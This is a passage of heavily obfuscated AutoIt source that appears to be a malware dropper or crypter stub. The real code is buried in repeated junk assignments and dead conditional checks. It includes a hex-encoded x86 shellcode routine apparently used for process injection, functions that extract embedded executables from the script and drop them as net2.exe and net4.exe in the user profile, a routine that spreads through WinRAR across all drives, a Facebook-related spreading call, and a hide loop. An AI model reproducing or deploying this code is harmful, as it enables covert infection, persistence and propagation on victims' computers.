  11199.         EndIf
  11200.     EndIf
  11201.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11202.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11203.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11204.         Exit
  11205.     Else
  11206.     EndIf
  11207.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11208.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11209.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11210.         Exit
  11211.     Else
  11212.     EndIf
  11213.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11214.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11215.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11216.         Exit
  11217.     Else
  11218.     EndIf
  11219.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11220.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11221.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11222.         Exit
  11223.     Else
  11224.     EndIf
  11225. EndFunc
  11226.  
  11227. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11228. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11229. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11230.     Exit
  11231. Else
  11232. EndIf
  11233. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11234. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11235. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11236.     Exit
  11237. Else
  11238. EndIf
  11239.  
  11240. Func shell()
  11241.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11242.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11243.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11244.         Exit
  11245.     Else
  11246.     EndIf
  11247.     Local $asm = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  11248.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11249.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11250.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11251.         Exit
  11252.     Else
  11253.     EndIf
  11254.     $asm &= "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  11255.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11256.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11257.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11258.         Exit
  11259.     Else
  11260.     EndIf
  11261.     $asm &= "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  11262.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11263.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11264.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11265.         Exit
  11266.     Else
  11267.     EndIf
  11268.     $asm &= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  11269.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11270.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11271.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11272.         Exit
  11273.     Else
  11274.     EndIf
  11275.     $asm &= "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  11276.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11277.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11278.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11279.         Exit
  11280.     Else
  11281.     EndIf
  11282.     $asm &= "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  11283.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11284.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11285.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11286.         Exit
  11287.     Else
  11288.     EndIf
  11289.     $asm &= "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  11290.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11291.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11292.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11293.         Exit
  11294.     Else
  11295.     EndIf
  11296.     $asm &= "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  11297.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11298.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11299.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11300.         Exit
  11301.     Else
  11302.     EndIf
  11303.     Return $asm
  11304.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11305.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11306.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11307.         Exit
  11308.     Else
  11309.     EndIf
  11310. EndFunc
  11311.  
  11312. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11313. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11314. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11315.     Exit
  11316. Else
  11317. EndIf
  11318. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11319. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11320. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11321.     Exit
  11322. Else
  11323. EndIf
  11324. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11325. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11326. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11327.     Exit
  11328. Else
  11329. EndIf
  11330. $rarspread = "-rar-"
  11331. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11332. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11333. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11334.     Exit
  11335. Else
  11336. EndIf
  11337. If StringInStr($path, $rarspread) Then
  11338.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11339.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11340.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11341.         Exit
  11342.     Else
  11343.     EndIf
  11344.     Call("rar_spread")
  11345.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11346.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11347.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11348.         Exit
  11349.     Else
  11350.     EndIf
  11351. Else
  11352.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11353.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11354.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11355.         Exit
  11356.     Else
  11357.     EndIf
  11358. EndIf
  11359. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11360. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11361. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11362.     Exit
  11363. Else
  11364. EndIf
  11365. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11366. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11367. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11368.     Exit
  11369. Else
  11370. EndIf
  11371. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11372. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11373. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11374.     Exit
  11375. Else
  11376. EndIf
  11377. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11378. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11379. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11380.     Exit
  11381. Else
  11382. EndIf
  11383. $facebook = "-facebook-"
  11384. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11385. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11386. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11387.     Exit
  11388. Else
  11389. EndIf
  11390. If StringInStr($path, $facebook) Then
  11391.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11392.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11393.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11394.         Exit
  11395.     Else
  11396.     EndIf
  11397.     Call("FaceBook_Timer")
  11398.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11399.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11400.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11401.         Exit
  11402.     Else
  11403.     EndIf
  11404. Else
  11405.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11406.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11407.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11408.         Exit
  11409.     Else
  11410.     EndIf
  11411. EndIf
  11412. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11413. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11414. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11415.     Exit
  11416. Else
  11417. EndIf
  11418. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11419. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11420. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11421.     Exit
  11422. Else
  11423. EndIf
  11424. $loop = "-loop-"
  11425. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11426. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11427. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11428.     Exit
  11429. Else
  11430. EndIf
  11431. If StringInStr($path, $loop) Then
  11432.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11433.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11434.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11435.         Exit
  11436.     Else
  11437.     EndIf
  11438.     Call("loop")
  11439.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11440.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11441.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11442.         Exit
  11443.     Else
  11444.     EndIf
  11445. Else
  11446.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11447.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11448.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11449.         Exit
  11450.     Else
  11451.     EndIf
  11452. EndIf
  11453. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11454. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11455. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11456.     Exit
  11457. Else
  11458. EndIf
  11459. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11460. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11461. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11462.     Exit
  11463. Else
  11464. EndIf
  11465.  
  11466. Func loop()
  11467.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11468.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11469.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11470.         Exit
  11471.     Else
  11472.     EndIf
  11473.     While 1
  11474.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11475.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11476.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11477.             Exit
  11478.         Else
  11479.         EndIf
  11480.         AdlibRegister("hide", 1)
  11481.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11482.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11483.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11484.             Exit
  11485.         Else
  11486.         EndIf
  11487.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11488.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11489.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11490.             Exit
  11491.         Else
  11492.         EndIf
  11493.         Sleep(250)
  11494.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11495.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11496.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11497.             Exit
  11498.         Else
  11499.         EndIf
  11500.     WEnd
  11501.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11502.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11503.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11504.         Exit
  11505.     Else
  11506.     EndIf
  11507. EndFunc
  11508.  
  11509. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11510. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11511. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11512.     Exit
  11513. Else
  11514. EndIf
  11515. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11516. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11517. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11518.     Exit
  11519. Else
  11520. EndIf
  11521. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11522. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11523. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11524.     Exit
  11525. Else
  11526. EndIf
  11527.  
  11528. Func net2()
  11529.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11530.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11531.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11532.         Exit
  11533.     Else
  11534.     EndIf
  11535.     If NOT FileExists(@UserProfileDir & "\" & $randoms & "\net2.exe") Then
  11536.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11537.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11538.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11539.             Exit
  11540.         Else
  11541.         EndIf
  11542.         $o_c = FileOpen(@ScriptFullPath)
  11543.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11544.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11545.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11546.             Exit
  11547.         Else
  11548.         EndIf
  11549.         $r_c = FileRead($o_c)
  11550.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11551.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11552.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11553.             Exit
  11554.         Else
  11555.         EndIf
  11556.         FileClose($o_c)
  11557.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11558.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11559.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11560.             Exit
  11561.         Else
  11562.         EndIf
  11563.         $empty_settings = get_binded_settings($r_c, "[Snet2]")
  11564.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11565.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11566.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11567.             Exit
  11568.         Else
  11569.         EndIf
  11570.         $file_settings = get_binded_settings($empty_settings, "[Enet2]")
  11571.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11572.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11573.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11574.             Exit
  11575.         Else
  11576.         EndIf
  11577.         $binary_of_server = StringTrimRight($empty_settings, StringLen($file_settings) + StringLen("[Enet2]"))
  11578.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11579.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11580.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11581.             Exit
  11582.         Else
  11583.         EndIf
  11584.         FileWrite(@UserProfileDir & "\" & $randoms & "\net2.exe", $binary_of_server)
  11585.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11586.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11587.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11588.             Exit
  11589.         Else
  11590.         EndIf
  11591.     EndIf
  11592.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11593.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11594.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11595.         Exit
  11596.     Else
  11597.     EndIf
  11598. EndFunc
  11599.  
  11600. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11601. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11602. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11603.     Exit
  11604. Else
  11605. EndIf
  11606. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11607. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11608. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11609.     Exit
  11610. Else
  11611. EndIf
  11612. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11613. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11614. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11615.     Exit
  11616. Else
  11617. EndIf
  11618.  
  11619. Func net4()
  11620.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11621.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11622.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11623.         Exit
  11624.     Else
  11625.     EndIf
  11626.     If NOT FileExists(@UserProfileDir & "\" & $randoms & "\net4.exe") Then
  11627.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11628.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11629.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11630.             Exit
  11631.         Else
  11632.         EndIf
  11633.         $o_c = FileOpen(@ScriptFullPath)
  11634.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11635.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11636.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11637.             Exit
  11638.         Else
  11639.         EndIf
  11640.         $r_c = FileRead($o_c)
  11641.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11642.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11643.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11644.             Exit
  11645.         Else
  11646.         EndIf
  11647.         FileClose($o_c)
  11648.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11649.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11650.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11651.             Exit
  11652.         Else
  11653.         EndIf
  11654.         $empty_settings = get_binded_settings($r_c, "[Snet4]")
  11655.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11656.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11657.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11658.             Exit
  11659.         Else
  11660.         EndIf
  11661.         $file_settings = get_binded_settings($empty_settings, "[Enet4]")
  11662.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11663.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11664.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11665.             Exit
  11666.         Else
  11667.         EndIf
  11668.         $binary_of_server = StringTrimRight($empty_settings, StringLen($file_settings) + StringLen("[Enet4]"))
  11669.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11670.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11671.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11672.             Exit
  11673.         Else
  11674.         EndIf
  11675.         FileWrite(@UserProfileDir & "\" & $randoms & "\net4.exe", $binary_of_server)
  11676.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11677.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11678.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11679.             Exit
  11680.         Else
  11681.         EndIf
  11682.     EndIf
  11683.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11684.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11685.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11686.         Exit
  11687.     Else
  11688.     EndIf
  11689. EndFunc
  11690.  
  11691. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11692. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11693. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11694.     Exit
  11695. Else
  11696. EndIf
  11697. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11698. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11699. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11700.     Exit
  11701. Else
  11702. EndIf
  11703. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11704. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11705. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11706.     Exit
  11707. Else
  11708. EndIf
  11709. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11710. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11711. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11712.     Exit
  11713. Else
  11714. EndIf
  11715.  
  11716. Func rar_spread()
  11717.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11718.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11719.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11720.         Exit
  11721.     Else
  11722.     EndIf
  11723.     If FileExists(@ProgramFilesDir & "\WinRar\rar.exe") AND NOT FileExists(@TempDir & "\rar.dat") Then
  11724.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11725.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11726.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11727.             Exit
  11728.         Else
  11729.         EndIf
  11730.         FileWrite(@TempDir & "\rar.dat", "rar")
  11731.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11732.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11733.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11734.             Exit
  11735.         Else
  11736.         EndIf
  11737.         $drive = DriveGetDrive("ALL")
  11738.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11739.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11740.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11741.             Exit
  11742.         Else
  11743.         EndIf
  11744.         If IsArray($drive) Then
  11745.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11746.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11747.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11748.                 Exit
  11749.             Else
  11750.             EndIf
  11751.             For $i = 1 To $drive[0]
  11752.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11753.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11754.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11755.                     Exit
  11756.                 Else
  11757.                 EndIf
  11758.                 If DriveSpaceFree($drive[$i]) > 100 Then
  11759.                     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11760.                     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11761.                     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11762.                         Exit
  11763.                     Else
  11764.                     EndIf
  11765.                     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
